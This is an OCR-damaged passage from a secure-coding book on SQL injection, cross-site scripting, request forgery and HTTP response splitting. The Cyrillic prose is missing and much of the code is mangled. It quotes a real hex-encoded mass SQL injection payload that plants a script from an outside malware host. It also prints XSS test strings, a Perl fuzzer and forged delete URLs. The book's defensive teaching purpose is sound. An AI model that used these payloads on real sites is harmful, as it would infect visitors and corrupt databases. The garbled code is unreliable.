Watchfire), Weblnspect HP ( SPI Dynamics) ScanDo Kavado.


.

SQL, ,
.
SAMATE1.

SQL
, , 2008 ,
IIS .
, Microsoft;
ASP.
SQL
JavaScript -. - JavaScript
<i frame> . ,
JavaScript,
. , .
,
. (.
).
:
orderi tem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET20@S=CAST(0x440045
0043004C00410052004500200040005400200076006100720063006800610072002800320035
00350029002C0040004300200076006100720063006800610072002800320035003500290020
004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F
007200200043005500520053004F005200200046004F0052002000730065006C006500630074
00200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D
0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F
006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D
0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075
002700200061006E0064002000280062002E00780074007900700065003D003900390020006F
007200200062002E00780074007900700065003D003300350020006F007200200062002E0078
0074007900700065003D0032003300310020006F007200200062002E00780074007900700065
003D00310036003700290020004F00500045004E0020005400610062006C0065005F00430075
00720073006F00720020004600450054004300480020004E004500580054002000460052004F

1 http://samate.nist.gov/ . nepee.

50

1 SQL

004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054
004F002000400054002C004000430020005700480049004C0045002800400040004600450054
00430048005F005300540041005400550053003D0030002900200042004500470049004E0020
0065007800650063002800270075007000640061007400650020005002700200400054002
0027005D00200073006500740020005B0027002B00400043002B0027005D003D007200740072
0069006D00280063006F006E007600650072007400280076006100720063006800610072002C
005B0027002B00400043002B0027005D00290029002B00270027003C00730063007200690070
00740020007300720063003D0068007400740070003A002F002F007700770077002E006EOO
6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002FOO
730063007200690070007400300270027002700290046004500540043004800200040045
00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073
006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000
43004C004F005300450020005400610062006C0065005F0043007500720073006F0072002000
4400450041004C004C004F00430041005400450020005400610062006C0065005F00430075
00720073006F007200^20AS%20NVARCHAR(4000));EXEC(@S);--

:
DECLARE @ varchar(255)@ varchar(255) DECLARE Table_Cursor CURSOR FOR
select a .name'b .name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype=V and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C


WHIL E(@@F ETCH_STATUS=0) BEGIN exec('update [,+@T+] set
[' +@C+']=rtri m( convert (varchar'[' +@C+']))+" <scri pt
src=nihaorrl.com/1.js></script>'" )FETCH NEXT FROM Table_Cursor INTO @T'@C
END CLOSE Table_Cursor DEALLOCATE Table_Cursor

SQL
CVE (Common Vulnerabilities and Exposures) (http://cve.mitre.org/).

CVE-2006-4953
SQL WebMail for Java 5.08
SQL
adr_sortkey, adr_sortkey_desc, sortkey sortkey_desc.
http://vuln.
sg/neonmail506-en.htmL

CVE-2006-4592
SQL 8Pixel SimpleBlog id -
.
, ,
id
(, ).
VBScript:
function sanitize(strWords)
dim badChars
dim newChars
badChars = arrayCselect"."union, "drop". "

"insert".

"delete", "_\
>". "=". "[",

".
.. .

.. . ".

". "\\

51

"<".

"|")

newChars = strWords
for i = 0 to uBound(badChars)
newChars = replace(LCase(newChars). LCase(badChars(i)) . "")
next
sanitize = newChars
end function

SQL :
strSQL = ""SELECT * FROM T_WEBL0G WHERE id = " &
sanitizeC request.QueryStringCid") )


, .

SQL,
- , .

SQL,
(prepared statements).
,
, SQL.


,
SQL. , ,
SQL, .
(,
).

SQL
:
SQL. ! (
) .
(placeholders) (bindings).
,
, DDL (Data Definition
Language) , .
,
.

52

1 SQL

---------------------------------------------------------------------------------------------------- :
.
- .

C#
public string Query(string Id) {
string ccnum;
string sqlstring ="";
// (1-8 )
Regex = new Regex(@"*\d{1.8}S");
if (!r.Match(Id).Success)
throw new ExceptionCInvalid ID. Try again."):
try {
SqlConnection sqlConn = new SqlConnection(GetConnnection);
string str = "sp_GetCreditCard":
cmd = new SqlCommand(str. sqlConn);
cmd.CommandType = CommandType.StoredProcedure:
cmd.Parameters.Add("@ID", Id):
cmd.Connect ion.Open();
SqlDataReader read = myCommand.ExecuteReaderO;
ccnum = read.GetString(O);

catch (SqlException se) {


throw new Exception("Error - please try again.");

}
}

PHP 5.0/MySQL 4 .1
<?php
$db = mysqli_connect(getServer() .getllidO .getPwdO);
Sstmt = mysqli_prepare($link, "SELECT ccnum FROM cust WHERE id = ?");
$id = $HTTP_GET_VARS["id"];
// (1-8 )
if (preg_match(7*\d{1.8}$/'.Sid)) {
mysqli_stmt_bind_param(Sstmt. "s". Sid);
mysqli_stmt_execute(Sstmt);
mysqli_stmt_bind_result(Sstmt. Sresult);
mysqli_stmt_fetch(Sstmt);
if (empty(Sname)) {
echo "No result!";
} else {
echo Sresult;

}
} else {

53

echo "Invalid ID. Try again.";

?>

5.0 SQL ,
mysql i prepare.
PEAR ( Extension and Application Repository, . http://
pear.php.net), , DB common: :prepare()
DB_common::query.

Perl/C6l
#!/usr/bin/perl
use DBI;
use CGI;
print CGI;;header();
Scgi = new CGI;
Sid = $cgi->param(,id');
# (1-8 )
exit unless ($id =~ /A[\d]{1.8}$);
print "<html><body>";
# Get connection info from outside 'web space
$dbh = DBI->connect(conn().
conn_name().
conn_pwd())
or print "Connect failure : SDBI::errstr";
Ssql = "SELECT ccnum FROM cust WHERE id = ?";
Ssth = $dbh->prepare($sql)
or print "Prepare failure : (Ssql) SDBI::errstr";
Ssth->bind_param(l.$id);
Ssth->execute()
or print "Execute failure : SDBI;:errstr";
while (@row = $sth->fetchrow_array ) {
print "@row<br>";

}
Sdbh->disconnect;
print "</body></html>";
exit;

Python
Python DBAPI-
, paramstyle; ,
:

54

1 SQL

Format Parameters (paramstyle = format)


cursor.executeC'select * from customer where id=fcs". [id])

(paramstyle = named)
(cursor.executeC'select * from customer where id=:idn. {'id'.:id})

(paramstyle = numeric)
cursor.executeC'select * from customer where id=:I. [id])

Python (paramstyle = pyformat)


(cursor.executeC'select * from customer where id=(id)s". {'id.:id}))

(paramstyle = p a r k )
cursor.executeC'select * from customer where id=?\ [id])

Ruby on Rails
Post.find(:first, conditions => ["title = ? ".params[:search_string]])

Java JDBC
public static boolean doQuery(String arg) {
// (1-8 )
Pattern = Pattern.compile("^\\d{1.8}$"):
if (!p.matcher(arg) .findO)
return false;
Connection con = null;
try

Cl ass.forName("com.mi croso^t.jdbc.sqlserver.SQLServerDri ver");


con = DriverManager .getConnection(getConnectionlnfoO);
PreparedStatement st = con.preparestatement(
"exec pubs..sp_GetCreditCard ?");
st.setStringd, arg);
ResultSet rs = st.executeQuery():
while (rs.nextO) {
// rs.getString(l);

}
rs.closeO;
st.closeO:

catch (SQLException e)

{
}

System.out.println(SQL Error; + e.toString());


return false;

catch (ClassNotFoundException e2)

5S

{
System.out.println("Class not found: " + e2.toString());
return false:

}
finally

try

{
con.closeO;
} catch(SQLException e) {}

}
return true;

ColdFusion
ColdFusion cfqueryparam <cfquery>
, :
<CFIF IsDefi ned("URL.clientID")
AND NOT IsNumeric(URL.clientID)>
<!--- --->
</CFIF>
<CFQUERY>
SELECT *
FROM tblClient
WHERE clientid = <cfqueryparam value="#URL.clientID#"
CFSQLTYPE="CF_SQL_INTEGER">
</CFQUERY>

CFSQLTYPE

SQL
.
,
.
, .
,
.
CREATE PROCEDURE dbo.doQueryC@id nchar(4))
AS
DECLARE query nchar(64)
IF RTRIM(@id) LIKE 1[0-9][0-9][0-9][0-9]'
BEGIN
SELECT query = 'select ccnum from cust where id =
EXEC query
END
RETURN

+ id + ,,,,

56

1 SQL

:
CREATE PROCEDURE dbo.doQuery(@id smallint)

Microsoft SQL Server 2005 PO SIX-


; Oracle 10g .
DB2 Microsoft SQL Server 2000.
MySQL REGEXP.

.

QU0TENAME REPLACE

SQL
QU0TENAME REPLACE SQL Server. QU0TENAME
(, )
, , WHERE. REPLACE
.
QUOTENAMECobjectname. [') , a QU0TENA!
(data.
) . REPLACE
(data,
, ........... ).

DBMS_ASSERT?
Oracle 10g DBMS_ASSERT,
. , ;
. -
, , .
.

CAT.NET
Microsoft .NET,
CAT.NET SQL (
-) . CAT.NET Visua
Studio,
SQL -.
, #; . 1.1 CAT.NE
.
string name = txtName.Text;
sql.Open :
string sqlstring = "SELECT info" +
" FROM customer WHERE name=" + name;
SqlCommand cmd = new SqlCommand(sqlstring, sql);
ccnum = (string)cmd.ExecuteScalarO;

57

, txtName.txt
SQL,
SQL. , SQL.
CAT.NET .


,
. ,
(, ),
. -
, .
; , ,
.
.
& CodeAnalysis

'
N ...

(2 J g j ;
R lie Name

S '

"'

Vedot

l S Q L Injection WebRequett

'"

Data Flow Slat

' :

S h o w S u p p rtjje d b ju e j
Data Row End

DeJadLatpx.cs (23) D e fa t* * (30)

V-

'

'

Colum n! * j 9 *
Se quence N u a b e r 1
S u p p te n e d : No
R u le 10 : A CES EC0 1
R u le N e w . S Q L Nection
V e c to r W ebReque*
Confidence Le v e l: High
Description: This rule detects S Q L vtinefabttes.
R esolution: Use parametrized S Q L instead of dynamic S Q L

Fie

Line

WebAppfceaonlSD efaufcaspx.es 23
WebApptcabonl \DefaUt.aspx.cs 28
WebApptcaoonlVDefaUL&spxcs 30

Input Variable Output Variable


name
afctm g

name
stfstmg
stackO

Statement
string name - bdName.TeL
stnng s^ttring - "S ELEC T info"
SqCorrmand cmd - new SqCcmmand(s<*sbin3. sqfl.

Generated today at 240 PM. 1 mue(t).

. 1 .1 . C A T .N E T S Q L


, ,
,
.
, . ,
, SQL Server 2005, Oracle, IBM DB2
MySQL .

URLScan
2008 Microsoft URLScan ,
HTTP - IIS
SQL .
,
, magic_quotes_gpc=l php.ini.
6.0.0 .

58

1 SQL


CWE-89: Failure to Sanitize Data within SQL Queries (aka SQL Injection):
http://cwe.mitre.org/data/definitions/89.html
2009 CWE/SANS Top 25 Most Dangerous Programming Errors: http://ewe.mitre.
org/top25
Sarbanes-Oxley Act of 2002: www.aicpa.org/info/sarbanes_oxley_summary.htm
Payment Card Industry Data Security Standard: https://www.pdsecuritystandards.org
The Open Web Application Security Project (OWASP): www.owasp.org
Advanced SQL Injection in SQL Server Applications by Chris Anley: www.nextgenss.com/papers/advanced_sql_injection.pdf
Detecting SQL Injection in Oracle by Pete Finnigan: www.securityfocus.com/
infocus/1714
Why You Should Upgrade to Rails 2.1: http://blog.innerewut.de/2008/6/16/whyyou-should-upgrade-to-rails-2-1
New SQL Truncation Attacks and How to Avoid Them by Bala Neerumalla:
http://msdn.microsoft.com/en-us/magazine/cc163523.aspx
The United Nations Serving Malware by Dancho Danchev: http://ddanchev.
blogspot.com/2008/04/united-nations-serving-malware.html
Anyone Know about www.nihaorrl.com/1.js: http://forum s.iis.net/t/1148917.
aspx?PageIndex= 1
How a Criminal Might Infiltrate Your Network by Jesper Johansson: www.microsoft.com/technet/technetmag/issues/2005/01/AnatomyofaHack/default.aspx
SQL Injection Attacks by Example by Stephen J. Friedl: www.unixwiz.net/techtips/
sql-injection.html
Writing Secure Code, Second Edition by Michael Howard and David C. LeBlanc
(Microsoft Press, 2002), Chapter 12, Database Input Issues
Oracle Regular Expressions Pocket Reference by Jonathan Gennick and Peter Linsley (O Reilly, 2003)
Regular Expressions Make Pattern Matching and Data Extraction Easier by David
Banister: http://msdn.microsoft.com/en-us/magazine/cc163473.aspx
DB2 Bringing the Power of Regular Expression Matching to SQL: www-106.ibm.
com/developerworks/db2/library/techa?ticle/0301stolze/0301stolze.html
MySQL Regular Expressions: http://dev.mysql.com/doc/mysql/en/Regexp.html
SQL Injection Cheat Sheet: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Eliminate SQL Injection Attacks Painlessly with LINQ: www.devx.com/dotnet/
Article/34653
ColdFusion cfqueryparam: www.adobe.com/livedocs/coldfusion/5 .0 /CFML_Reference/ Tags79.htm
Bypassing Oracle dbms_assert by Alex Kornbrust: www.red-database-security.
com/wp/bypass_dbms_assert.pdf

59

Using UrlScan: http://leam.iis.net/page.aspx/473/using-urlscan


CAT.NET: http://snurl.com/89f0p

.
? ?
?
SQL
.
.
.
(
, )
SQL.
SQL,
.

,
Windows.
.

.
.
,
, :
, delete deldeleteete.
SQL.
SQL,
SQL.
.
.

(, sa root).

.
-
.

,
. ,
.

,
-
(XSS, XSRF )


, pi XSS (cross-s:^
scripting), -,
.
XSS, !
XSS . ^
; .
MITRE Corporation
, XSS ,
.
, XSS !
-, -.
-,
-, .-
!

CWE

61

-, AJAX (Asynchronous JavaScript and


XML)
XSS.
-,
XSS,
.
-, XSS ,
.
, -
,
,
.
, Microsoft Windows !
www.xssed.com,
XSS ( XSS) -!
, XSS , ,
. ,
Reporting Vulnerabilities is for the Brave (. ).
XSS -
, - ,
-. ,
cookie -,
. -,
XSS .
, . XSS
-; , -,
. Microsoft IIS (Internet Informa
tion Services) Apache. ,
!
- XSS .
- : ,
, : ?
, ,
, .

CWE
CW E (
CWE/SANS 25 ):
CWE-79: - ( [XSS]);
CWE-352: (CSRF, Cross-Site Request
Forgery);
CW E-113: CRLF
HTTP Headers ( HTTP).

62

2 , - (XSS, XSRF )


,
-, , Ruby on Rails, Python, , C++,
Active Server Pages (ASP), C#, VB.Net, ASPNET, J2EE (JSP, Servlets), Perl CGI
(Common Gateway Interface).

XSS
, XSS:
XSS DOM, XSS (
0).
XSS , XSS ( 1).
XSS, XSS (
2).
HTTP.
(XSRF, CSRF).
.

XSS D0M ( 0)
, -,
XSS DOM
-.
HTML .
,
HTML .
XSS DOM ,
.
, Mi
crosoft, Apple, Yahoo! Google, ,
-,
HTML, JavaScript
.

XSS, XSS ( 1)
: -,
( ) , ;
;
-.

63

, !
,
. - -
(, ), ,
. ,
(, Java
Script), .
,
, .
HTML, . ,
XSS ,
, ,
, -,
, .
, XSS
, (,
) !
Steal Browser History W ithout JavaScript (.
).
. 2.1 XSS 1.
XSS, -
() .
2
-

(
)



-,

1
,
.

&

http://www.server.com/foo.php?name=<script>evil</script>
. 2.1. - X S S 1

64

2 , - (XSS, XSRF )

(,
)
- (, www.example.com),
cookie , .
DOM ; ,

. ,
2008 ,
! (
) , ,
; XSS
.
---------------------------------------------------------------------------------------------------- XSS ;
-. , -
JavaScript -; ,
<img>.

: XSS
, , . , (same origin
policy) www.example.com/about.jsp ,
www.example.com.

, ,

<scri pt>alert("XSS");</scri pt>

.
,
?
,
tinyurl.com snurl.com . , URL
http://tinyurl,com/3asxla


http://www.dailymai1..uk/home/search.html?s=y&searchPhrase=">
<script>alert('xss');</script>

- DailyMail
XSS, tiryurl
XSS. !

65

XSS, XSS ( 2)
XSS XSS 1,
- ,
.
-, XSS 2,
- / ,
( )
HTML, ,
.
. 2.2 , XSS 2. ,
XSS 1 2
(,
) .


:

(, ),

2

3


(
)

4

,
'
1

-,

http://www.server.com/foo.php?name=<script>evil</script>
. 2.2. - X S S 2

XSS,

, (, , 100
).
XSS, ,
XSS 1,
2.

66

2 , - (XSS, XSRF )

HTTP
,
XSS, , ,
HTTP (HTTP response splitting),
RS. XSS 1 2
, -
HTML, . RS ,
HTTP -,
. . 2.3 .

9
A

1 2:
XSS
HTML

HTTP:

HTTP

. 2.3. X S S H T T P

XSS
RS ,
.
, , , XSS
, HTML , ASP.
NET, JSP Ruby on Rails <%=. RS
, HTTP , Response.SetHeader,
Response.SetCookie Response.Redirect (ASP.NET), response.setHeader (JSP), response,
headers (Ruby on Rails) header() (PH P).
, ASP.NET
Response.Redi rect,
, CRLF.
HTTP. ,
; Response.Redi rect, , 302
(ObjectMoved), .
, Response. Redi rect
HTTP Location:.

67

/ 1.1 302 Object moved


Location: SomeUntrustedlnput
Server: Microsoft-1 IS/7.0
Date: Mon. 23 Jan 2009 15:16:35 GMT
Connection: close
Location: test2.aspx
Content-Length: 130

CRLF (SomeUntrustedlnput),

:
HTTP/1.1 302 Object moved
Location: SomeUntrustedlnput [CRLF]
ThisUntrusted: InputtCanBeUsed [CRLF]
ToCauseAll: SortsOfFun [CRLF]
AndGames: AndGeneralMayhem [CRLF]
Server: Microsoft-IIS/7.0
Date: Mon. 23 Jan 2009 15:16:35 GMT
Connection: close
Location: test2.aspx
Content-Length: 130

, HTTP
, XSS,
.
RS , XSS,
, - - (
,
).


, (XSRF)
RSS , , !
XSS RS ( ,
), XSRF
.
. 2.4.
,
.
,
. , -
:
http://www.exampl .com/request.php?create-new
http://www.example.com/request.php? read-NNNN
http://www.example.com/request.php?delete-NNNN
http://www'. exampl e .com/request.php? junk-NNNN
http://www.example.com/request.php?move-NNNN-ToFolder-YYYY
http://www.example.com/request.php?delete-al1

68

2 , - (XSS, XSRF )


- :

(,
. .)
1

2
-,

-

3
-
!

&

<img src-http://www.server.com/foo.php?delete all>


. 2.4. X S R F

NNNN (, GUID),
, a YYYY .

-
, ,
. , -

<IMG SRC=http://www.example.com/request.php?delete-98765-124871>

,
98765-124871 .
, XSRF , :
,
.
.

Ruby on Rails (XSS)


Ruby on Rails XSS , ,
:
<%= comment.body %>

Ruby on Rails ( )
Ruby on Rails
- RS, redi rect to :
redirect to(url)

69

CGI, Python (XSS)


,
:
import cgi
form = cgi .FieldStorageO
email = form. getvalueCEmail Address")
print "Content-Type: text/html"
print
print "<P>Hello: %s</?>" % (email)

CGI, Python ( )
, cookie
.
import cgi
import Cookie
= Cookie.SimpleCookieO
form = cgi .FieldStorageO
email = form.getvalueC Email Address")
c['addr'] = email

ColdFusion (XSS)

:
<cfoutput>
Item ID: #Form.itemID#
</cfoutput>

ColdFusion (XSS)
, itemID
HTML, cookie;
, HTTP.
<cfcookie name = "item"
value = "#Form.itemID#">

C/C++ ISAPI (XSS)


IIS ISAPI,
, Hello .
DWORD WINAPI HttpExtensionProc(_In_ EXTENSI0N_C0NTR0L_BL0CK *lpEcb){
char szTemp [2048]:
if (IpEcb && *lpEcb->lpszQueryString) {
sprintf_s(szTemp,
_countof(szTemp),
"Hello, %s..
1pEcb->lpszQueryStri ng)

70

2 , - (XSS, XSRF )

size_t dwSize = strlen_s(szTemp, _countof(szTemp));


if (dwSize)
lpEcb->WriteClient(lpEcb->ConnID. szTemp, &dwSize, 0);

}
}

C/C++ ISAPI ( )

HTTP , .
pFC->AddHeader(pFC,"X-SomeHeader:". lpEcb->lpszQueryString);

cookie.
,
string cooki("Set-Cooki : ");
cooki .append(1pEcb->lpszQueryStri ng);
cookie.append("\r\n"):
pFC->AddResponseHeaders(pFC. cookie.c_str(), 0);

ASP (XSS)
,
<%=( ) Response.Write.
<% Response.WriteCRequest.QueryStringCName")) %>

<img src='<%= Request.Querystring("Name") %>'>

ASP ( )
URL-
.
Response.Redirect base + "/checkout/main.asp? " + Request.QueryStringO

ASP.NET (XSS)
ASP.NET - /
, Windows.
XSS,
ASP.NET.
private void btnSubmit_Click(object sender. System.EventArgs e) {
IblGreeting.Text = txtName.Text;

ASP.NET ( )
C# ,
RS cookie :

71

protected System.Web.UI.WebControls.TextBox txtName:


string name = txtName.Text;
HttpCookie cookie = new HttpCookieC'name". name);
Response.Cook ies.Add(cook ie ):

JSP (XSS)
ASP.NET.
<% out.println(request.getParameter("Name)) %>

<%= request.getParameterCName") %>

JSP ( )
RS JS P ,
. , lcid
- .
<2
response.sendRedi rect("/1anguage.jsp?lci d="+
request.getPa rameter("lcid"));

PHP (XSS)
, :
<?php
$name=$_GET['name'];
if (isset($name)) {
echo "Hello $name";

?>

PHP ( )
,
:
<?php
$1ci d $_GET['lcid'];

?>

header("locale: $1cid");

CGI/Perl (XSS)
:
#!/usr/bin/perl

72

2 , - (XSS, XSR F )

use CGI;
use strict;
my $cgi = new CGI;
print CGI::header();
my $name = $cgi->param('name'):
print "Hello. $name";

m odperl (XSS)
mod_perl
HTML Perl CGI.
, CGI .
#!/usr/bin/perl
use Apache::Uti1:
use Apache::Request:
use strict;
my $apr = Apache::Request->new(Apache->request);
my $name = $apr->param(name);
$apr->content_type('text/html');
$apr->send_http_header:
$apr->print(Hello);
$apr->print(Sname);

modperl ( )
, print
header_out() .

(XSRF)
, : HTTP Perl, Python #? :
XSRF ,
,
. HTML ,
- ,
:
http[s]://exampl .com?someverb


, :
HTTP ( , , );
;
- ( HTML
HTTP).
XSRF .

73


XSS
,
. ,
,
, !

:

ASP.NET

Pathlnfo, Request.*, Response.*, <%=


- (, *.text *.value),
. ASP.NET
.text .value

ASP (Active Server Pages)

Request.*, Response.* <%=,


Ruby on Rails

<%=, cookie redirect_to

Python

form.getvalue, SimpleCookie,

ColdFusion

<cfoutput>, <cfcookie> <cfheader>

PHP

$_REQUEST, $_GET, $_POST $_SERVER, echo, print, header printf

PHP 3.0 ()

$_, echo,
print printf

CGI/Perl

param() CGI

mod_perl

Apache::Request, Apache::Response
header_out

ISAPI (C/C++)

EXTENSION_CONTROL_
BLOCK (, lpszQueryString),
GetServerVariable ReadClient,
WriteClient ,
AddResponseHeaders

ISAPI (Microsoft Founda


tion Classes)

CHttpServer CHttpServerFilter
CHttpServerContext

JavaServer Pages (JSP)

addCookie, getRequest, request.getParameter,


<jsp:setProperty, <%= response.sendRedirect

, ,
,
. , ,
XSS.

74

2 , - (XSS, XSRF )

---------------------------------------------------------------------------------------------------- .
(,
); .

XSRF
XSRF ,
, .
, U R L -
httpts]://exampl .com?someverb

, .


X SS ( X S R F !)
-
. HTML;
. HTM L
, . ,
, XSS.
, Perl:
#!/usr/bin/perl
use HTTP::Request::Common qw(P0ST GET);
use LWP;:UserAgent;
#

my $ua = LWP::UserAgent->new();
$ua->agent("XSSInject/vl.40");
#

my @xss = ( ><script>alert(window.location);</script>'
'V ; a le r t ( l) ;'.
V onmouseover^'alertCD-.V \ " ,
,\ ><script>alert(l);</script>',
'\" scrip t> a lert(l) ;</script>',
, \"></a><script>alert(l);</script>'.
' { [ a le r t ( l)] } ;',
'\xCO\xBCscript>[foo]\xCO\xBC/script>',
'</XSS/*-*/STYLE=xss:e/**/xpression(alert(\XSS\'))> ',
'<a href=\"javas&#99;ript&#35;foo\,,> '.
'xyzzy');
#

my $url = "http://127.0 .0 .1/form.asp":


my $inject;
foreach Sinject (@xss) {

75

my Sreq = POST $url. [Name => Sinject.


Address => Sinject.
Zip => $inject];
my $res = $ua->request(Sreq):
#
#
# , XSS
$_ = $res->as_string;
print "Potential XSS issue [$url]\n" if (indexdc $_. lc Sinject)!=-l);

}
http://ha.ckers.org XSS ,
XSS.
.
XSS XSRF
, :
Watchfire AppScan (IBM): www-304.ibm.com/jct09002c/gsdod/solutiondetails.
do?solution=16838
libwhisker: sourceforge.net/projects/whisker/
DevPartner SecurityChecker (Compuware): wz0 w.compuware.com/products/devpartner/securitychecker.htm
WebScarab: www.owasp.org/software/webscarab.html
CAT.NET: http://snurl.com/89f0p

XSS
CVE (Common Vulnerabilities and Exposures) (http://cve.mitre.
org/).

CVE-2003-0712 Microsoft Exchange 5.S Outlook Web Access XSS


15 2003 Microsoft
MS03-047, XSS - OutlookWeb Access
(OWA) Microsoft Exchange 5.5. XSS:
- urlView
.
<*
on error resume next
urlView

= Request. QueryStringC view")

<HTML>
<TITLE>Microsoft Outlook Web Access</TITLE>
<script language='javascript>
var iCurView = <3HirlViewfr>:

2 , - (XSS, XSRF )

CVE-2004-0203 Microsoft Exchange 5.5 Outlook Web Access:



10 2004 Microsoft M S04-026
OWA, M S03-047,
HTTP.
<S @ LANGUAGE=VBSCRIPT CODEPAGE = 1252 S>
< !--#include file="constant. inc-->
< !--#include fi 1e="1ib /session . inc"-->
<% SendHeader 0. 1 %>
< !--#i nclude f 11e="1ib/getrend. inc"-->
<!--#include file="lib/pageutil.inc"-->

<*
On Error Resume Next
If Request.QueryString("mode") <> "" Then
Response.Redirect bstrVirtRoot + _
7inbox/Main_fr.asp?" + Request.QueryString()
End If
, ,
! ? ,
. ,
M icrosoft M S03-047, HTTP.
4 Sanctum ( Watchfire,
IBM )
(D ivide and Conquer) . Microsoft
, .

.

CVE-2005-1674 Help Center Live (XSS XSRF)


. : , ,
SQL . - Help Center Live
GET ;
, :
http: / /www.exampl .com/support/cp/tt/vi ew.php?ti d=2&delete=l

(XSS )
X SS H T T P
:
1. ;
. ,
.

(XSS )

77

2. HTML
URL ( HTML
HTTP).
3. , , CRLF.
, .

Ruby on Rails (XSS)


, Ruby on Rails
.
<%=
.
<%=h comment.body %>

ISAPI C/C++ (XSS)


,
.
///////////////////////////////////////////////////////////////////
// HtmlEncode
// HTML
//
// strRaw: HTML
// result: , std::string
//
// false: HTML
// true:
HTML
bool HtmlEncode(const char *strRaw. std::string &result)
{
size_t iLen = 0;
size_t i = 0:
if (strRaw && (iLen=strlen(strRaw))) {
for (i=0; i < iLen i++)
switch(strRaw[i ]) {
case \0*
break;
result append("&lt: ): break:
case <
case >'
result appendC'&gt: ); break:
case ('
result append ( " W O : " ) break:
case )
result append &#41:") break;
case #
result append( " &#35:") break:
result appendC&amp;") break;
case
case '
result append( " &quot:" ); break;
result appendC&apos;); break;
case V
break;
case %'
result append("&#37
break;
case +'
result append("&#43
break;
result append("&#45
case
default
result append(l.strRaw[i]); break;

return i == iLen ? true : false;

78

2 , - (XSS, XSR F )

C /C ++ ,
, Standard Template Library
Technical Report 1 (STLTR1). ,
IP -:
#include <regex>
using namespace std ::trl;
regex rx("4\\d{1.2}|l\\d\\d|2[0-4]\\d|25[0-5])\\.n
"(\\d{l,2}|l\\d\\d|2[0-4]\\d|25[0-5])\\."
"(\\d{1.2}|l\\d\\d|2[0-4]\\d|25[0-5])\\."
"(\\d{1.2}|l\\d\\d|2[0-4]\\dj 25[0-5])S"):
if (regex_match(strIP,rx)) {
//

} else {
//

}
Visual C++ 2008 SP1 , gcc 4.3 .

Python (XSS)
Python
, ;
cgi.escape():
import cgi
form = cgi .FieldStorageO
email = form.getvalue("Email Address)
print "Content-Type: text/html"
print
print "<P>Hello: *s</P>" % (cgi.escape(email))

ASP (XSS)
HTML (
VBScript RegExp, JavaScript)
HTML:
<2
name = Request.Querystring("Name")
Set r = new RegExp
r.Pattern = "^\w{5.25}$"
r.IgnoreCase = True
Set m = r.Execute(name)
If (len(m(0)) > 0) Then
Response.Wri te(Server.HTMLEncode(name))

End If
%>

(XSS )

79

ASP.NET Web Forms (XSS)


,
HTML
.NET Framework #.
using System.Web; // System.Web.dll
private void btnSubmit_Click(object sender, System.EventArgs e)

{
Regex r = new Regex(@"^\w{5.25}");
if (r.Match(txtValue.Text).Success) {
IblName.Text = "Hello. " + HttpUtility.HtmlEncodeCtxtValue.Text);
} else {
IblName.Text = "Who are you?":

}
, Microsoft
AntiXss , ASP.NET:
using Microsoft.Security.Application;
IblName.Text = "Hello." + AntiXss.HtmlEncode txtValue.Text):

AntiXSS HTML
:
AntiXSS HTML; ,
XML, URL.
HTML

. AntiXSS
, .

ASP.NET Web Forms (RS)



cookie ASP.NET. AntiXss Url Encode ()
, ,
, , .
, , !
using Microsoft.Security.Application;
protected System.Web.UI.WebControls.TextBox txtName;
static int MAX_C00KIE_LEN = 32;

string name = AntiXss.UrlEncode(txtName.Text);


if (r .Equals(s ) && r.Length < MAX_C00KIE_LEN) {
HttpCookie cookie = new HttpCookie(name. name);
Response.Cook ies.Add(cook ie );

80

2 , - (XSS, XSR F )

ISP (XSS)
JSP Microsoft AntiXSS,
AntiXSS for Java;
.
, JSP .
HTML:
import java.io.IOException;
import javax.servlet.jsp.JspException;
import javax.servlet.jsp.tagext.BodyTagSupport:
public class HtmlEncoderTag extends BodyTagSupport {
public HtmlEncoderTag0 {
supe rO;

}
public int doAfterBodyO throws JspExcepti on {
if(bodyContent != null) {
System.out.pri nt1n(bodyContent.getSt ri ng());
String contents = bodyContent. getStringO:
String regExp = new String("^\\w{5,25}$"):
//
if (contents.matches(regExp)) {
try {
bodyContent.getEnel os ingWri ter().
write(contents):
} catch (IOException e) {
System.out.printlnCException" + e.getMessageO):

}
return EVAL_BODY_INCLUDE;
} else {
try {
bodyContent.getEnclosi ngWri ter().
write(encode(contents)):
} catch (IOException e) {
System.out.printlnCException" + e.getMessageO):

}
System.out.printlnCContent: " + contents.toStringO):
Return EVAL_BODY_INCLUDE:

}
} else {
return EVAL_BODY_INCLUDE;

}
}
// , JSP HTML
public static String encode(String str) {

(XSS )

81

if (str = null)
return null:
StringBuffer s = new StringBufferO;
for (shorti =0;i< str.length(); i++) {
char = str.charAt(i):
switch (c) {
case '<':
s.appendC&lt^'hbreak;
case '>:
s.append("&gt;"):break:
case '(':
s.append("&#40:,,):break;
case ')':
s .append("&#41:"):break:
case '#:
s.append("&#35:"):break:
case
:
s .append("&amp:");break;
case '"':
s .append("&quot:");break;
case \ '':
s .append("&apos:"):break;
case '%':
s .appendC"&#37:"):break;
case '+':
s.append("&#43:");break;
case '-':
s .append("&#45:");break:
default:
s.append(c):

return s.toStringO:

}
}
JSP,
:
<%@ taglib uri="/tags/htmlencoder" prefix="htmlencoder">
<head>
<title>Watch out you sinners...</title>
</head>
<html>
<body bgcolor="white">
<htmlencoder:htmlencode><scri pt
type="javascri pt">BadStuff()</scri pt></htmlencoder:htmlencode>
<htmlencoder:htmlencode>testi n</htmlencoder:htmlencode>
<script type="badStuffNotWrapped()"></script>
</body>
</html>

82

2 , - (XSS, XSRF )

(XSS)
, :
htrnlentities():
<?php
$=$_6[,'];

?>

if (isset($name)) {
if (preg_match(7*\w{5.25}$/'.Sname)) {
echo "Hello. " . htmlentities($name):
} else {
echo "Go away! ";
}
}

CGI (XSS)
, :
,
HTML.
#!/usr/bi n/perl
use CGI;
use HTML::Entities;
use strict;
my $cgi = new CGI;
print CGI::header();
my $name = $cgi->param('name*);
if ($name =~ r\w{5.25}$/) {
